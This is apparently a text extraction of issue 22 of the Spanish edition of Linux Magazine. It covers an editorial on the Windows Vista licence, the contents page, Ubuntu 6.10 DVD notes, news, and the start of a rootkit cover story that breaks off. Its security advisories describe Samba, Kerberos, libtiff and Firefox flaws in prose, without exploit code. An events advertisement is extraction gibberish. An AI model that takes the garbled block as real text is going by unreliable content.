linux magazine - edición en castellano, nº 22

100
Rootkits Apparmor SELinux MySQL 5 Antispam Python KBeagle GPS Perl Concurso de Software Libre Bot Attack Python Combate el Spam con filtros bayesianos p48 NÚMERO 22 P.V.P 6,95 GPS Perl Script para no perderte por el monte p43 WWW.LINUX - MAGAZINE.ES LINUX MAGAZINE NÚMERO 22 Edición en Castellano CÓMO ESCRIBIR UN ROOTKIT Aprende todo lo que hay que saber sobre la nueva generación de intrusos de Internet p12 Bot Attack! Cómo repeler el ataque de servidores zombies p58 SELinux La completa línea de defensa de Red Hat p21 Apparmor La herramienta de seguridad de Suse Linux p17 Ubuntu 6.10 Edgy Eft Incluye Live DVD y versión de instalación Instalación gráfica asistida Soporte LTS de 5 años MySQL 5 Listo para enfrentarse a Oracle p34 KBeagle Búsquedas de escritorio inteligentes p66 Concurso Software Libre Todas las ideas, todos los proyectos p88

Upload: linux-new-media-spain-sl

Post on 22-Mar-2016

349 views

Category:

Documents


19 download

DESCRIPTION

Puesto a la venta diciembre 2006. Tema de Portada: Rootkits. DVD: Ubuntu 6.10

TRANSCRIPT

Ro

otk

itsA

pp

arm

or S

ELin

ux M

yS

QL 5

An

tisp

am

Pyth

on

KB

eag

le G

PS

Perl C

on

cu

rso

de S

oftw

are

Lib

re B

ot A

ttack

PythonCombate el Spam con filtros bayesianos p48

NÚMERO 22 • P.V.P 6,95 €

GPS PerlScript para no perdertepor el monte p43

W W W . L I N U X - M A G A Z I N E . E S

LIN

UX M

AGAZIN

E

NÚMERO 22

Edición enCastellano

CÓMO ESCRIBIR UN

ROOTKITAprende todo lo que hay que saber sobre lanueva generación de intrusos de Internet p12

Bot Attack!Cómo repeler el ataque deservidores zombies p58

SELinuxLa completa línea de defensa deRed Hat p21

ApparmorLa herramienta de seguridad deSuse Linux p17

Ubuntu 6.10 Edgy Eft

Incluye Live DVDy versión deinstalación

Instalación gráficaasistida

Soporte LTS de 5años

MySQL 5Listo para enfrentarse a Oracle p34

KBeagleBúsquedas de escritorio inteligentes p66

Concurso Software LibreTodas las ideas, todos los proyectos p88

8PSMEXJEF�4FSJFT

8PSME�T�MFBEJOH�5SBEF�&WFOU�GPS�-JOVY�BOE�0QFO�4PVSDF�JO�CVTJOFTT

-JOVY8PSME�$POGFSFODF���&YQP��o

/FX�:PSL� 'FCSVBSZ����o��� ������ XXX�MJOVYXPSMEFYQP�DPN

.FYJDP�$JUZ� 'FCSVBSZ����o�.BSDI�� ������� XXX�MJOVYXPSMEFYQP�DPN�NY

#SVTTFMT� .BSDI����o��� ������� XXX�MJOVYXPSMEFYQP�CF

.BESJE� "QSJM ����o��� ������� XXX�MJOVYXPSMETVNNJU�DPN�FT

5PSPOUP� "QSJM����o�.BZ�� ������� XXX�MXOXFYQP�QMVNDPN�DB

4BP�1BVMP� .BZ ����o��� ������� XXX�MJOVYXPSMECSBTJM�DPN�CS

.JMBO� .BZ ����o��� ������� XXX�MJOVYXPSMETVNNJU�JU

5PLZP� .BZ����o�+VOF�� ������� XXX�JEH�DP�KQ�FYQP�MX�

4BO�'SBODJTDP� "VHVTU���o�� ������� XXX�MJOVYXPSMEFYQP�DPN

4FPVM� "VHVTU����o��� ������� XXX�MJOVYXPSMELPSFB�DPN

#FJKJOH� 4FQUFNCFS���o�� ������� XXX�MJOVYXPSMEDIJOB�DPN

-POEPO� 0DUPCFS ����o��� ������� XXX�MJOVYXPSMEFYQP�DP�VL

6USFDIU� 0DUPCFS����o�/PWFNCFS�� ������ XXX�MJOVYXPSMEFYQP�OM

*/5&3/"5*0/"-�.&%*"�410/403

Imaginemos por un momento que un

responsable y trabajador españolito de a

pie ahorra lo suficiente como para com-

prarse su primera vivienda (ya he dicho que

hay que utilizar la imaginación).

Con mucha ilusión, queda con la comercial

de la promotora para ultimar los detalles del

trato. Firma aquí, firma allá, le transfiere una

cantidad obscena de dinero, le acompañan a

un notario, vuelta a firmar, vuelta a transferir.

Después de un día agotador, nuestro pro-

tagonista vuelve a casa (de sus padres) y, pese

al cansancio, repasa la documentación que le

han entregado. ¡Epa! ¿Esto qué es? En el plazo

de entrega: “… las obras estarán acabadas en

más o menos tres años…” ¿Cómo “más o

menos”? Y ¿más o menos con respecto a qué?

Nuestro héroe que es, digamos, geólogo, sabe

que, en términos de su especialidad, 3, 300 ó

3000 años son precisamente “más o menos”

lo mismo.

Pero la cosa no acaba ahí. En el pliego

descriptivo: “… la vivienda constará de más o

menos 3 dormitorios, aproximadamente 2

baños, alrededor de 1 cocina y puede que 1

salón comedor. No estamos seguros de incluir

una terraza, pero si los de Urbanismo nos lo

aprueban, y nos llega el presupuesto, cuente

con ello. La superficie útil suponemos que

será de 90 metros cuadrados, pero vete a

saber.” El plano muestra un espacio en blanco

y no hay siquiera una escala. La firma del

incauto comprador está en todo, incluso en la

fotocopia del menú de un chino que alguien

debió dejar olvidado en la mesa de la agente

inmobiliaria. El geólogo comienza a tener pal-

pitaciones…

Dejemos por un instante a nuestro desafor-

tunado amigo y pensemos en cómo, en estos

momentos, hay millones de personas que,

inadvertidamente, están en una situación sim-

ilar con respecto al software que rige sus orde-

nadores personales y profesionales. Y lo

bueno es que, con la nueva versión de ya-te-

imaginas-qué, eso no va a cambiar. Me llega

la licencia de Windows Vista [1] y, junto a las

típicas patochadas tipo “el software no puede

ser utilizado por más de un usuario

simultáneamente” (es decir, si le dices a tu

esposa, “¡Eh! ¡Ven a ver esto!” estás violando

la licencia), tenemos en la sección “Limita-

ciones y exclusión de daños” la

siguiente perla: “[…] el software se

ejecutará sustancialmente como

describe el material de Microsoft

[…]” y juro que el contexto no

cambia el sentido de lo anterior un

ápice.

O sea que el software “más o

menos” se ejecutará.

Sí, ya sé: pone “sustancialmente”, que no

es exactamente los mismo que “más o

menos”, lo que significa que el software ten-

derá a funcionar más que a no funcionar.

Pero, volvamos a nuestro confundido com-

prador de pisos. Imaginemos que la descrip-

ción indica que la vivienda está “sustancial-

mente en la primera planta”. Se construye el

edificio (en más o menos 3 años), se recogen

las llaves, se vuelve al notario, más transferen-

cias de ingentes cantidades de dinero de un

lugar a otro y, por fin, nuestro geólogo se

dirige a su nuevo hogar. Cuando llega… ¡Oh,

sorpresa! ¡Su casa está bajo tierra!

Reclamación. Ante el juez, el promotor

alega, “Bueno, señoría, el hecho es que la

vivienda en cuestión está sustancialmente

más en la primera planta que en el ático, que

está siete pisos más arriba”. Además, hace

notar que no deja de ser irónico que el

demandante se pase la mayor parte de su

tiempo recogiendo rocas en cuevas.

Traslademos todo lo anterior a Vista. Imag-

inemos que, de las 10.000 cosas que un sis-

tema operativo ha de hacer, sólo hay una

donde Vista casca. Coincidirán conmigo en

que la oración de que el software funciona

“sustancialmente” es correcta: el sistema fun-

ciona en un 99,99%. Pero va y resulta que esa

única cosa que casca es la que dibuja las ven-

tanas en la pantalla. Sí, el sistema funciona

“sustancialmente”, lo único que pasa es que

usted no puede verlo… Y usted ha pulsado

“Aceptar”.

Claro que, a mí ¡plim! Yo utilizo Linux en

todas mis máquinas y, si actualizo a algo, va a

ser a Fedora 6, por tanto no me afecta. ¿O tal

vez sí? Las grandes corporaciones del soft-

ware infiltran a sus ejecutivos en toda suerte

de comisiones y comités por todo el mundo,

ofreciendo su “ayuda” para asesorar a

europarlamentarios, diputados, congresistas,

senadores y ministros en la reescritura de

leyes [2], dejando que los mismos abogados

en nómina que redactan sus licencias, le

metan mano a documentos que van regir las

vidas de los ciudadanos, contaminándolas

con vaguedades, imprecisiones y

ambigüedades que hacen que las normas que

a todos nos vinculan digan digo y digan diego

simultáneamente, dando lugar a una manipu-

lación del supuesto libre mercado y abriendo

las puertas a una interpretación sesgada de la

legislación, facilitándoles la imposición de sus

productos incluso a quienes no los quieren ni,

en principio, los necesitan y allanándoles el

camino para tretas que obligan a la desapari-

ción de cualquier competidor legítimo que

amenace su supremacía. Se constituyen como

gobiernos en la sombra, cuyos líderes no han

sido elegidos por sufragio universal, sino por

una junta directiva que únicamente vela por

sus intereses comerciales, y no responden ni

ante el pueblo ni ante la justicia, sólo ante sus

accionistas.

Y eso sí me afecta. �

3

EDITORIAL

3Número 22W W W . L I N U X - M A G A Z I N E . E S

Estimado Lector de Linux Magazine

Nos sentimos orgullosos de nuestrosorígenes como publicación, que seremonta a los primero días de larevolución Linux. Nuestra revistahermana, la publicación alemanaLinux Magazine, fundada en 1994, fuela primera revista dedicada a Linux enEuropa. Desde aquellas tempranasfechas hasta hoy, nuestra red yexperiencia han crecido y se hanexpandido a la par que la comunidadLinux a lo ancho y largo del mundo.Como lector de Linux Magazine, teunes a una red de informacióndedicada a la distribución delconocimiento y experiencia técnica.No nos limitamos a informar sobre elmovimiento Linux y de Software Libre,sino que somos parte integral de él.

ME AFECTA

Paul C. Brown

Director

[1] Gracias a Julián Coccia de Linux Espa-

ñol (http://linux.es/).

[2] Gracias a Alberto Barrionuevo de

Estándares Abiertos (http://www.

estandaresabiertos.com/) por ejem-

plos tangibles.

Agradecimientos

CONTENIDOS • Linux Magazine nº 22

4 Número 22 W W W . L I N U X - M A G A Z I N E . E S

28 LibrosCon la introducción de Linux en las aulas se

hace imperiosa la producción de material

educativo que dote a los profesores de las

herramientas necesarias para desarrollar

adecuadamente su labor. La primera editorial

que ha decidido darle forma a una serie de

materiales diseñados específicamente para

los centros escolares ha sido McGraw Hill.

29 FreeSpireLinspire ha publicado una nueva versión

no comercial de su distro denominada

Freespire. Hemos tomado la beta de

Freespire para ponerla a prueba.

32 LeafTagEl programa experimental Leaftag ofrece los

medios para asociar archivos con categorías

de búsquedas y otros metadatos.

34 MySQL 5Vamos a mostrar cómo algunas de las carac-

terísticas nuevas de MySQL 5 mejorarán el

diseño del software y aumentarán el rendi-

miento de las aplicaciones.

40 Backups tarUtilización de un fichero tar para restau-

rar un sistema de forma rápida, sin tener

que hacer una reinstalación completa.

43 Perl: GPSLos hackers de Perl se suben al monte con

un sistema de navegación que les propor-

ciona una representación gráfica de la

excursión.

48 Python: SpamPaul Graham publicó un artículo en 2002

en el que decía que los filtros bayesianos

acabarían con el Spam, pero ¿qué es un

filtro bayesiano? y, peor aún ¿qué es en

realidad el spam?

52 Google APICon el protocolo GData (el API de datos de

Google) tendremos un acceso completo a los

datos de las aplicaciones diseñadas por Goo-

gle, incluido Google Calendar, de una manera

unificada y sencilla.

57 CharlyUn servidor DNS sobrecargado puede retrasar

todos los puestos de trabajo de una red.

Dnsgraph es un sistema de aviso que propor-

ciona a los administradores un gráfico de

valores críticos. Sus diagramas le ayudarán a

tener a punto sus sistemas servidores de

nombres.

58 Bot attackMientras realizaba sus tareas habituales, el

colaborador de Linux Magazine, Charly Küh-

nast fue víctima de un malvado ataque. El

servidor antispam de Charly, ubicado como

defensa ante su servidor de correo, le salvó de

la avalancha de emails.

12 RootkitsLos rootkits de hoy día se infiltran en el

sistema objetivo a nivel de kernel,

escapando de esta manera de la atención

del administrador. Siga leyendo y

descubrirá cómo funciona de verdad un

rootkit de kernel.

17 AppArmorCuando un atacante consigue infectar el

sistema de una víctima hereda sus privile-

gios. AppArmor bloquea el ataque redu-

ciendo los privilegios potenciales de la víc-

tima al mínimo.

21 SELinuxSELinux ofrece un sistema de Control de

Acceso Obligatorio para Linux, si estás

dispuesto a entrar a fondo.

25 AppArmor vs SELinux¿Security Enhanced Linux o AppArmor?

Linux Magazine ha invitado a dos perso-

najes bien conocidos de Red Hat y Novell

para debatir los méritos de sus sistemas de

seguridad.

DESARROLLO

LINUX MAGAZINE

3 Editorial6 DVD Linux Magazine8 Inseguridades10 Noticias94 Eventos94 Información de Contacto95 Subscripciones97 Linux Local98 Próximo Número

EVALUACIÓN

PRÁCTICO

PORTADA

ADMINISTRACIÓN

Número 22 5W W W . L I N U X - M A G A Z I N E . E S

79 Línea de comandos: IsosSi se están creando copias de seguridad,

salvando datos o copiando CDs arranca-

bles, dd y mkisofs te ayudan a realizar

este trabajo estupendamente.

82 JuegosLos más veteranos en el mundo de los jue-

gos conocerán títulos como Stunts, los pri-

meros simuladores 3D de conducción que

existieron y que causaron sensación entre

el público en general. En esa misma línea

de juego, con muchas mejoras y comple-

tamente libre, llega ahora Mania Drive.

84 KonsultorioSi tienes algún problema de

configuración, o simplemente quieres

conocer mejor cómo funciona Linux,

Klaus Knopper, el creador de Knoppix,

te ayuda.

88 Concurso Software LibrePresentamos en esta sección el listado

completo en orden alfabética de los

proyectos admitidos para participar en

1er Concurso Universitario de Soft-

ware Libre.

COMUNIDAD

MÁS DETALLES EN LA Pág 6

60 Apache: ModsecurityEl módulo de Apache ModSecurity propor-

ciona una protección extra para el servidor

web. Vamos a mostrar por qué esta aplicación

de cortafuegos opcional está convirtiéndose

rápidamente en la favorita de los webmasters

y de los expertos en seguridad.

66 Ktools: KBeagleSi se ha perdido la esperanza de encontrar

el camino entre la masa de datos de tu

ordenador de sobremesa, lo mejor es usar

un motor de búsqueda que permita guiar-

nos a través de la selva. Kerry y KBeagle-

bar nos acercan el motor Beagle al escrito-

rio KDE.

68 MetacitySi el espartano administrador de ventanas

Metacity no te da la funcionalidad que

necesitas, prueba con los añadidos

Brightside y Devil’s Pie de Metacity.

70 Érase una vezEn vez de picar código, ¿qué tal si

intentamos ir a por un bestseller? Si estás

buscando el modo de organizar tu pró

xima novela, prueba con StoryLines y la

suite Writer’s Cafe.

74 Educación No podemos cerrar el estudio sobre la tra-

ducción del software libre, sin examinar

las propuestas de la industria de la traduc-

ción: la especificación XLIFF y sus herra-

mientas. ¿Está el software libre a la altura?

LINUX USER

LINUX USER

� Incluye Live DVD y versión de instalación

� Instalación gráfica asistida

� Administración de software simplificada

� Soporte LTS de cinco años

� Herramientas colaborativas para usua-rios y desarrolladores

� Firefox 2, OpenOffice.org 2, Gnome 2.16,Kernel 2.6.17

ADMINISTRACIÓN

UBUNTU 6.10

DVD LINUX MAGAZINE

6 Número 22 W W W . L I N U X - M A G A Z I N E . E S

No hay duda de que se lo merece: por

su sencillez de instalación, configuración

y manejo, por su sólido soporte de larga

duración (LTS de cinco años) y la rigu-

rosa conformación del equipo de produc-

ción y comercialización a los principios

del software libre.

La popularidad de Ubuntu es inau-

dita. Cuando, a finales del 2004,

la redacción de Linux Magazine

Internacional (la revista hermana de

Linux Magazine – Edición en Castellano)

emitió un cuestionario pidiendo sugeren-

cias para su próximo DVD de portada,

desde la redacción española sugerimos

Ubuntu.

La reacción de los redactores fue:

“¿Ubuntu? ¿Quién narices quiere eso?”

Sin embargo, escasamente dos años des-

pués, es difícil imaginar el panorama de

Linux sin esta distro. Su popularidad es

tal que ocupa el primer puesto Distro-

Watch [1] desde el 2005, desplazando a

Mandrake/Mandriva, la distribución

dominante de los años 2002, 2003 y

2004, cogiendo por sorpresa a toda la

comunidad.

Novedades

La nueva versión de Ubuntu (nombre

en clave Edgy Eft, o Salamandra Sensi-

ble) es un elemento de continuidad en

la línea de distros de Ubuntu liberadas

hasta el momento. Actualiza y mejora

las aplicaciones incluidas en la versión

Cómo siempre, explicamos aquí cómo

configurar su versión de Ubuntu para que

pueda acceder a más aplicaciones.

Ubuntu se basa en Debian, por tanto el

sistema subyacente para la instalación de

paquetes es apt (Advanced Packaging

Tool, no A Prueba de Tontos). Con apt es

muy sencillo instalar paquetes desde la

línea de comandos:

# apt-get install mozilla

… instalaría el navegador Mozilla y…

# apt-get remove mozilla

.. eliminaría el paquete del sistema.

Existe un interfaz gráfico para apt, lla-

mado Synaptic, al que se accede desde el

menú Sistema > Administración > Synap-

tic. El proceso de instalación con Synaptic

es todavía más sencillo, ya que presenta

una lista (en la cual también se puede bus-

car por nombre y descripción) y simple-

mente se ha de pulsar en el cuadro de ver-

ificación para indicar los paquetes que

queremos instalar y eliminar del sistema.

Para añadir nuevos repositorios, hemos

de dirigirnos al menú Sistema > Adminis-

tración > Propiedades del Software. Esto

nos abrirá la aplicación Preferencias de

Software. En la pestaña Medios de Insta-

lación, pulsamos en el botón Añadir. Mar-

camos los repositorios que deseamos

añadir…

• Soportado Oficialmente son los reposi-

torios que contienen paquetes creados

por el equipo de Ubuntu.

• Copyright Restrictivo son repositorios

que contienen paquetes que tienen

algún tipo de licencia diferente al GPL

(como el plugin Flash para Firefox) y

que no pueden ser distribuidos de man-

era completamente libre.

• Mantenido por la Comunidad (Uni-

verse) son repositorios no oficiales con

paquetes creados por desarrolladores

independientes.

• Non-free (Multiverse) son repositorios

que contienen paquetes con licencias

no libres. Estos repositorios no suelen

ser mantenidos por Ubuntu y no se

actualizan a menudo.

Una vez hayamos seleccionado los repo-

sitorios que nos interesan, pulsamos en

aceptar y la próxima vez que abramos

Synaptic, observaremos cómo se han

añadido los nuevos paquetes a la lista de

software disponible.

Más allá del DVD

Figura 1: Desde la pantalla de arranque de la instalación, se puede seleccionar el

idioma, teclado, resolución de pantalla, opciones de accesibilidad, etc.

Figura 2: El instalador simplificado permite añadir y suprimir aplica-

ciones de manera sencilla.

Sistema

• Kernel 2.6.17

• GCC 4.1.1

• X.org 7.1

Escritorio

• Gnome 2.16

Ofimática / Internet

• Firefox 2.0

• OpenOffice.org

Gráficos

• F-Spot 0.2.1

• Gimp 2.2.13

Software

DVD LINUX MAGAZINE

7Número 22W W W . L I N U X - M A G A Z I N E . E S

anterior y da un cualitativo salto hacia

adelante en lo que se refiere a la

comunicación de sus usuarios con el

equipo de desarrollo.

Por ejemplo, Ubuntu 6.10 incluye

un nuevo campo en el instalador de

software que le indica al usuario la

popularidad del paquete con una

serie de estrellas que varía en fun-

ción del número de descargas/insta-

laciones. Esto tiene una doble fun-

ción: por un lado da pistas al usua-

rio sobre la utilidad del paquete y

por otro informa a los desarrollado-

res de lo que demandan los usua-

rios.

Otro elemento a destacar es que todas

las aplicaciones están compiladas para

facilitar el envío de informes de error en

el caso de que se cuelguen. En otras dis-

tros hay que recompilar los programas

con una opción debug para que, en el

caso de cuelgue, se pueda recabar la

información que los desarrolladores

necesitan para corregir el fallo.

Asimismo, la plataforma Launchpad,

integrada en el sistema, permite una

colaboración más fluida entre los des-

arrolladores independientes y los des-

arrolladores en nómina de Canonical,

la empresa productora de Ubuntu.

Instálalo yaPara disfrutar del instalador gráfico,

hay que arrancar el DVD en modo

live y a continuación pulsar en el

icono “Instalar” que veremos en el

escritorio. Esto también nos permi-

tirá familiarizarnos con el entorno

en el caso de ser necesario, sin tener

que tocar el disco duro.

La instalación gráfica, por otro

lado, intenta por todos lo medios ser

lo más sencilla posible y reduciendo

el número de preguntas a las que el

usuario tiene que contestar al

mínimo. El instalador adivina y

configura hardware, interfaces de

red, tarjetas, periféricos (impreso-

ras, escáners, etc.) y conexiones a

Internet.

Ubuntu pretende ser el Linux del

usuario doméstico y ofimático, sin

renunciar por ello a incluir servido-

res, herramientas y entornos de

desarrollo que los administradores

de sistemas y programadores espe-

ran encontrar en un sistema Linux.�

[1] La página de las distros top 100: http://

distrowatch.com/

RECURSOS

Figura 3: “Edgy” es la primera distro mayoritaria en incorporar Fire-

fox 2.0.

Figura 4: OpenOffice 2.0 es la suite de ofimática incluida con Edgy.

Incluye documentos de ejemplo para el usuario novel.

INSEGURIDADES

Schlagwort sollte hier stehenLINUX USERINSEGURIDADES

SambaSamba es un servidor de aplicaciones de

código abierto que proporciona ficheros

de red y servicios de compartición de

impresión a clientes SMB/CIFS.

Se encontró un fallo de denegación de

servicio en la manera en la que el

demonio smbd busca las conexiones

activas a compartir. Un atacante remoto

conocedor de este problema podría

hacer que el demonio smbd consumiera

una gran cantidad de memoria del

sistema mediante el envío de peticiones

smbd cuidadosamente manipuladas.

(CVE-2006-3403). �Referencia Debian: DSA-1110-1

Referencia Gentoo: GLSA-200607-10

Referencia Mandriva: MDKSA-2006:120

Referencia Red Hat: RHSA-2006:0591-6

Referencia Slackware: SSA:2006-195-01

Referencia Suse: SUSE-SR:2006:017

Referencia Ubuntu: USN-314-1

krb5Kerberos (krb5) es un sistema de autenticación

de red que permite a clientes y servidores autenti-

carse entre ellos usando encriptación simétrica y

entre una confiada tercera parte, el KDC.

Se encontró un error en el lugar en el que algu-

nas conocidas aplicaciones de Kerberos podrían

fallar al comprobar el resultado de la llamada al

setuid (). En los kernels de Linux 2.6, la llamada

al setuid puede fallar si se alcanzan los límites de

ciertos usuarios. Un atacante local podría mani-

pular su entorno de manera que consiguiese que

las aplicaciones continuaran ejecutándose como

root, llevando potencialmente a una escalada de

privilegios. (CVE-2006-3083). �Referencia Debian: DSA-1146-1

Referencia Gentoo: GLSA-200608-15

Referencia Mandriva: MDKSA-2006:139

Referencia Red Hat: RHSA-2006:0612-8

libtiffEl paquete libtiff contiene una librería de funcio-

nes para la manipulación de ficheros TIFF (Tag-

ged Image File Format).

Tavis Ormandy de Google descubrió algunos

fallos en libtiff durante una revisión de seguridad.

Un atacante podría crear un fichero TIFF cuidado-

samente manipulado de tal manera que diera

lugar a que una aplicación unida a libtiff se estro-

peara o que posiblemente ejecutara código arbi-

trario. (CVE-2006-3459, CVE-2006-3460, CVE-

2006-3461, CVE-2006-3462, CVE-2006-3463,

CVE-2006-3464, CVE-2006-3465) �Referencia Debian: DSA-1137-1

Referencia Gentoo: GLSA-200608-07

Referencia Mandriva: MDKSA-2006:137

Referencia Red Hat: RHSA-2006:0603-4

Número 22 W W W . L I N U X - M A G A Z I N E . E S8

INSEGURIDADES

Se encontró un fallo de scripting multisitio en

la manera en la que Firefox procesa registros

Unicode Byte Order Mark (BOM) en páginas

web UTF-8. (CVE-2006-2783)

Se encontraron algunos fallos en la manera

en la que Firefox procesa ciertas acciones javas-

cript. Una página web maliciosa podría condu-

cir a un ataque del scripting multisitio o robar

información sensible (tales como cookies pro-

piedad de otros dominios). (CVE-2006-3802,

CVE-2006-3810)

Se encontró un fallo de subida de fichero-for-

mulario en la manera en que Firefox manipula

la mutación de objetos de entrada javascript.

Una página web maliciosa podría subir un

fichero local arbitrario en el momento del envío

sin interacción con el usuario. (CVE-2006-2782)

Se encontró un fallo de denegación de servi-

cio en la manera en la que Firefox llama a la

función javascript crypto.sign Text(). Una

página web maliciosa podría usar este fallo

para comprometer al navegador. (CVE-2006-

2778)

Se encontraron dos fallos de contrabando de

respuesta HTTP en la manera en la que Firefox

procesa ciertos cabeceras de respuesta HTTP

inválidas. Una website maliciosa podría devol-

ver cabeceras de respuesta HTTP especial-

mente manipulados que podrían evitar las res-

tricciones de un proxy HTTP. (CVE-2006-2786)

Se encontró un fallo en la manera en la que

Firefox procesa scripts Proxy AutoConfig. Un

servidor Proxy AutoConfig podría ejecutar ins-

trucciones javascripts arbitrarias con los permi-

sos de “chrome”, permitiendo a la página robar

información sensible o instalar malware. (CVE-

2006-3808)

Se encontró un doble fallo en la manera en la

que es llamado el método nsIX509::getRaw-

DER. Si una víctima visita una página web cui-

dadosamente manipulada, es posible que eje-

cute código arbitrario como si fuera el usuario

ejecutando Firefox. (CVE-2006-2788). �Referencia Debian: DSA-1120-1, DSA-1134-1

Referencia Gentoo: GLSA 200608-03,

GLSA 200606-21

Referencia RedHat: RHSA-2006:0610-4,

RHSA-2006:0611-3

Referencia Slackware: SSA:2006-208-01

Referencia Suse: SUSE-SR:2006:018

Referencia Ubuntu: USN-296-2, USN-297-3,

USN-327-1, USN-329-1

Referencia Suse: SUSE-SA:2006:044

Referencia Ubuntu: USN-330-1

Firefox/ThunderbirdMozilla Firefox es un navegador web de Código

Abierto. Los expertos han descubierto algunos

fallos de seguridad en Firefox. aunque la mayoría

de los problemas también son aplicables al

cliente de correo y de grupos de usuarios de

Mozilla Thunderbird.

Los fallos se encontraron en el modo en el que

Firefox procesa determinadas acciones Javascript.

Una página web podría ejecutar instrucciones

javascript arbitrarias con los permisos de

“chrome”, permitiendo robar información sensi-

ble o instalar malware. (CVE-2006-2776, CVE-

2006-2784, CVE-2006-2785, CVE-2006-2787,

CVE-2006-3807, CVE-2006-3809, CVE-2006-

3812)

Se encontraron fallos de denegación de servi-

cio en la manera en la que Firefox procesa ciertos

contenidos web. Una página web podría colgar el

navegador o ejecutar código arbitrario como el

usuario ejecutando Firefox. (CVE-2006-2779,

CVE-2006-2780, CVE-2006-3801, CVE-2006-

3677, CVE-2006-3113, CVE-2006-3803)

Número 22W W W . L I N U X - M A G A Z I N E . E S 9

Linux EducativoEl software libre en la administración se

hace fuerte en el área de la educación.

En todas las instancias de distros apoya-

das por gobiernos autonómicos, la pri-

mera incursión siempre se ha hecho en

el ámbito educativo.

Ahora mismo, debido a la rapidez de

la evolución del desarrollo del software,

podemos decir que tanto Extremadura

como Andalucía son administraciones de

segunda generación en lo que a FLOSS

se refiere. Es decir, con varios años de

experiencia a sus espaldas, errores

aprendidos y superados, se empiezan a

utilizar GNU/Linux y las utilidades que

le acompañan, ya no como algo revolu-

cionario, sino como una herramienta

habitual tanto para las grandes como

para las pequeñas infraestructuras infor-

máticas institucionales y se comienza a

acometer, tanto en una administración

como en otra, la migración total.

Pero, siguen siendo las educativas,

como instituciones más veteranas en el

uso de Linux, las que mejor han asu-

mido el cambio y las que están mar-

cando el camino a otros sectores de

ambas administraciones.

En este orden de cosas, el pasado 27

de octubre se presentaron en Sevilla las

nuevas plataformas educativas que van

a servir de trampolín para profesores,

alumnos y padres en los próximos años.

Entre las novedades destaca las plata-

forma Helvia, que integra un sitio web

estandarizado que puede ser personali-

zado para cada centro escolar y que le

sirve de escaparate en Internet; weblogs

para profesores y alumnos, utilizables

tanto internamente como de cara a Inter-

net; y aulas virtuales, que permiten la

formación no presencial y autónoma por

parte del alumno.

Otra de las nuevas aplicaciones es Bar-

tic, que pone a disposición del profeso-

rado, alumnado y padres, una extensa

base de datos de recursos educativos,

base de datos que puede ampliarse con

aportaciones de terceros. Constará de

dos zonas diferenciadas: una privada

para administradores y publicadores de

recursos, y otra pública que permitirá

que cualquiera dé de alta nuevos recur-

sos educativos (que después serán eva-

luados por un comité de expertos para

determinar su idoneidad), acceder a los

recursos publicados, buscar en la base

de datos y evaluar cada recurso, asig-

nándole una serie de puntos en función

de su utilidad.

Finalmente, el portal web Pasen pre-

tende tender un puente entre los centros

escolares y las familias de los alumnos.

Por un lado, Pasen permitirá encargar

tareas al alumnado en grupo o por sub-

grupos o a alumnos individuales, anun-

ciar fechas de exámenes, hacer segui-

mientos de la asistencia y el progreso de

cada alumno, y un largo etcétera. Asi-

mismo los padres podrán interactuar

con el sistema para comunicarse con el

profesorado, seguir el progreso de su

hijo, acceder a tablones de anuncios y

participar en foros.

Por todo ello, los nuevos sistemas de-

sarrollados mejorarán sensiblemente la

comunicación entre los órganos regido-

res y los centros escolares y entre estos

últimos y los padres de los alumnos de

las escuelas andaluzas .

Todas las utilidades están desarrolla-

das sobre GNU/Linux, con herramientas

y lenguajes libres, y se liberan con licen-

cias GPL. �http://www.juntadeandalucia.es/

educacion/

NOTICIAS

Neutralidad Bien Entendida

No sabemos cómo ha llegado a pasar

que el concepto de “neutralidad tecnoló-

gica” ha mutado su significado original

de “abrirse a los ciudadanos, sin impo-

ner una tecnología dada” a “carta blanca

para imponer un monopolio de facto”.

Tan radical ha sido el cambio, que

muchos militantes del software libre

miran con recelo este concepto y hasta

prefieren evitar su uso.

Afortunadamente, el Observatorio de

Neutralidad Tecnológica se ha ancar-

gado de poner los puntos sobre las íes

en su Primer Informe del Observatorio,

informe donde se resumen las áreas que

ha de mejorar la administración si se

pretende cumplir con los principios de

neutralidad dispuestos en la legislación

vigente.

Asimismo, el informe recoge las 52

quejas más relevantes enviadas al obser-

vatorio donde se denuncian casos de

discriminación o falta de conformación

a estándares en webs, aplicaciones o

requerimientos institucionales.

Casos típicos de estas denuncias son

páginas oficiales que exigen el uso de

Internet Explorer para su correcta visuali-

zación, páginas que exigen el plugin Flash

de Adobe, pliegos de condiciones para

proyectos que exigen el uso de software

propietario, páginas web que no se confor-

man a los estándares W3C y que, por

tanto, se visualizan incorrectamente en

navegadores que no son IE, proyectos uni-

versitarios que exigen la utilización de tec-

nología propietaria (p.e.: compiladores

propietarios) sin necesidad, y un largo

etcétera.

Los artífices del Observatorio de Neutra-

lidad Tecnológica, Jose María Lancho,

abogado de Legalventure y Julián Coccia,

presidente de Linux Español, presentaron

su informe ante el ministro de Administra-

ciones Públicas el pasado 24 de octubre.

El Observatorio sigue abierto y a la

espera de nuevas denuncias de los ciuda-

danos con el fin de seguir su labor en pro

de la normalización de los protocolos de

intercambio de información. �http://www.neutralidad.es/

http://www.legalventure.com/

http://linux.es

NOTICIAS

10 Número 22 W W W . L I N U X - M A G A Z I N E . E S

11Número 22W W W . L I N U X - M A G A Z I N E . E S

tomar el control. Otro experto en seguri-

dad Ralf Spenneberg nos muestra cómo

proteger nuestro sistema con AppArmor,

patrocinado por Novell, y SELinux, la

herramienta elegida por los sistemas Red

Hat. Y como colofón de este acerca-

miento a la seguridad de intrusiones, en

nuestro artículo final, los portavoces de

Novell y RedHat se enfrentan cara a cara

con los costes y beneficios de AppArmor

y SELinux como armas de ataque.

Esperamos que disfrute del tema de

portada de este mes acerca de los root-

kits y la seguridad en Linux. �

Los rootkits del kernel 2.6 y el reto de la seguridad en Linux

INVASIÓN Y DEFENSA

Especial Rootkits• PORTADA

De todas las creaciones malvadas

en la historia del cibercrimen, el

rootkit es probablemente la más

ingeniosa. Un rootkit es un conjunto de

herramientas para el intruso de redes.

Un atacante que consiga acceso a un

ordenador puede subir el rootkit y usar

las herramientas para tomar el control

del sistema. Un aspecto interesante de

un rootkit es la habilidad de encubrir los

rastros del intruso. Versiones preparadas

de herramientas comunes de monitoriza-

ción como netstat y ps borran todo signo

de ataque.

Muchos muchos rootkits se han

copiado en ordenadores por todo el

mundo. Pero, con el tiempo, los desarro-

lladores y especialistas en seguridad han

desarrollado acertadas técnicas en espa-

cio de usuario. Los expertos han apren-

dido a detectar la presencia de intrusos

buscando detrás de las herramientas

